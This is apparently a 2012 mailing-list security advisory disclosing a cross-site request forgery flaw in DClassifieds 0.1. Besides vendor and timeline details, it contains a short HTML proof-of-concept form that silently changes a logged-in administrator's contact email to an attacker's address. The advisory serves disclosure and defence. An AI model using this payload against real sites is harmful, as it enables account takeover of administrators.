CSRF (Cross-Site Request Forgery) in DClassifieds
- From: advisory@xxxxxxxxxxx
- Date: Wed, 25 Jan 2012 14:38:12 +0100 (CET)
Advisory ID: HTB23067
Vendor: www.dclassifieds.eu ( http://www.dclassifieds.eu/ )
Vulnerable Version: 0.1 final and probably prior
Tested Version: 0.1 final
Vendor Notification: 04 January 2012
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk Level: Low
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ )
High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Rorgery (CSRF) attacks.
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
This PoC code will change administrator's email:
<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@xxxxxxxx">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
Disclaimer: Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on the web page in Reference field.
- Prev by Date: Multiple vulnerabilities in OSclass
- Next by Date: D-Link DIR-601 TFTP Directory Traversal Vulnerability
- Previous by thread: Multiple vulnerabilities in OSclass
- Next by thread: D-Link DIR-601 TFTP Directory Traversal Vulnerability